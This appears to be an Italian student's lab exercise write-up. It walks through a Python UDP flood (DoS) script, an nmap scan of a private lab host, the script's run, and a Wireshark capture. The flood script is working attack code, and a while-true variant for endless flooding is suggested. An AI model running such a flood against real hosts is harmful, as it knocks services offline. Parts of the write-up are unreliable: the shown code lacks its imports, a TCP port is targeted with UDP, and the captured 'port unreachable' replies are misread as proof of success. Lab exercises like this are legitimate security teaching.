

Tool per Dos

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende. L'esercizio di oggi è scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale (nel nostro caso un DoS). Requisiti:-Il programma deve richiedere l'inserimento dell'IP target input-Il programma deve richiedere l'inserimento della porta targetinput-La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.-Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare input.



[Questa foto](#) di Autore sconosciuto è concesso in licenza da [CC BY-NC-ND](#)

Per cominciare creiamo il un programma con l utilizzo di python:

```
File Actions Edit View Help Analyze Statistics Telephony Wireless Tools Help
GNU nano 7.2 dos.py *
def UDP_flood():
    pacchetto_UDP = random._urandom(1024) #imposto la generazione dei
#pacchetti UDP (1024 byte)
    for x in range(numero_UDP):
        s.sendto(pacchetto_UDP , target)
        print("#" , x , "- UDP inviato\n")
# e stato impostato un ciclo FOR a finche tramite
# un input si decida il N di pacchetti e la loro dimensione
# da inviare al target
IP_target = str(input("Inserire indirizzo target\n"))
Porta = int(input("Inserire porta da attaccare\n"))
numero_UDP = int(input("Inserire quantita pacchetti\n"))
# si definiscono in fine attraverso l input IP_target , porta e il numero_UDP
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    #definizione funzione socket la quale utilizzerà come variante un
    #IPv4 e trasmetterà UDP.
    target = (str(IP_target),int(Porta))
    #definizione di target , contenente varianti come IP / porta da colpire
except:
    s.close()
    print("[!] Error!!!")
#nel ciclo TRY se se tutto funziona avviene l invio dei dati , altrimenti il socket si chiude
# compare mess di errore

UDP_flood()
```

Tramite il codice saremo in grado di inondare l IP bersaglio con la quantita di pacchetti desiderata.(inoltre con l inserimento del ciclo WHILE TRUE

E possibile rendere la quantita di pacchetti inviati presso che infinita)

Prima di tutto dobbiamo sondare il nostro bersaglio e capire quale delle porte sono in ascolto :

Utilizzando il comando nmap (ip target) il sistema dopo un controllo ci restituira in output porte in ascolto:

```

(kali@kali)-[~]
$ nmap 192.168.50.101
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-27 18:19 EST
Nmap scan report for 192.168.50.101
Host is up (0.0014s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

```

Dopo aver scelto la porta di intrusione (139) ,facciamo partire il codice:

```

File  Actions  Edit  View  Help
(kali@kali)-[~/Desktop]
$ python dos.py
Inserire indirizzo target
192.168.50.101
Inserire porta da attaccare
139
Inserire quantita pacchetti
8
# 0 - UDP inviato
# 1 - UDP inviato
# 2 - UDP inviato
# 3 - UDP inviato
# 4 - UDP inviato
# 5 - UDP inviato
# 6 - UDP inviato
# 7 - UDP inviato

```

se la porta sul ip del bersaglio e
effettivamente aperta , partira l'invio di
pacchetti UDP come in questo caso, in
alternativa il sistema ci restituira

ERROR

Come prova del 9 che il nostro “Dos” è riuscito , possiamo analizzare la rete durante l'attacco tramite **wireshark**.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.50.100	192.168.50.101	UDP	1066	36789 → 139 Len=1024
2	0.000094874	192.168.50.100	192.168.50.101	UDP	1066	36789 → 139 Len=1024
3	0.000110081	192.168.50.100	192.168.50.101	UDP	1066	36789 → 139 Len=1024
4	0.000122390	192.168.50.100	192.168.50.101	UDP	1066	36789 → 139 Len=1024
5	0.000135828	192.168.50.100	192.168.50.101	UDP	1066	36789 → 139 Len=1024
6	0.000150235	192.168.50.100	192.168.50.101	UDP	1066	36789 → 139 Len=1024
7	0.000163380	192.168.50.100	192.168.50.101	UDP	1066	36789 → 139 Len=1024
8	0.000179583	192.168.50.100	192.168.50.101	UDP	1066	36789 → 139 Len=1024
9	0.000914109	192.168.50.101	192.168.50.100	ICMP	590	Destination unreachable (Port unreachable)
10	0.000914390	192.168.50.101	192.168.50.100	ICMP	590	Destination unreachable (Port unreachable)
11	0.000914428	192.168.50.101	192.168.50.100	ICMP	590	Destination unreachable (Port unreachable)
12	0.000914468	192.168.50.101	192.168.50.100	ICMP	590	Destination unreachable (Port unreachable)
13	0.000914507	192.168.50.101	192.168.50.100	ICMP	590	Destination unreachable (Port unreachable)
14	0.000914548	192.168.50.101	192.168.50.100	ICMP	590	Destination unreachable (Port unreachable)
15	5.002181781	PcsCompu_48:a0:5e	PcsCompu_cb:7e:f5	ARP	60	Who has 192.168.50.100? Tell 192.168.50.101
16	5.002192518	PcsCompu_cb:7e:f5	PcsCompu_48:a0:5e	ARP	42	192.168.50.100 is at 08:00:27:cb:7e:f5
17	5.055229933	PcsCompu_cb:7e:f5	PcsCompu_48:a0:5e	ARP	42	Who has 192.168.50.101? Tell 192.168.50.100
18	5.055758893	PcsCompu_48:a0:5e	PcsCompu_cb:7e:f5	ARP	60	192.168.50.101 is at 08:00:27:48:a0:5e

Vediamo chiaramente il passaggio di dati tra sorgente e destinatario attraverso l'utilizzo della porta 139 e il pacchetto ha la dimensione preimpostata nel nostro codice di 1024 bite.

FINE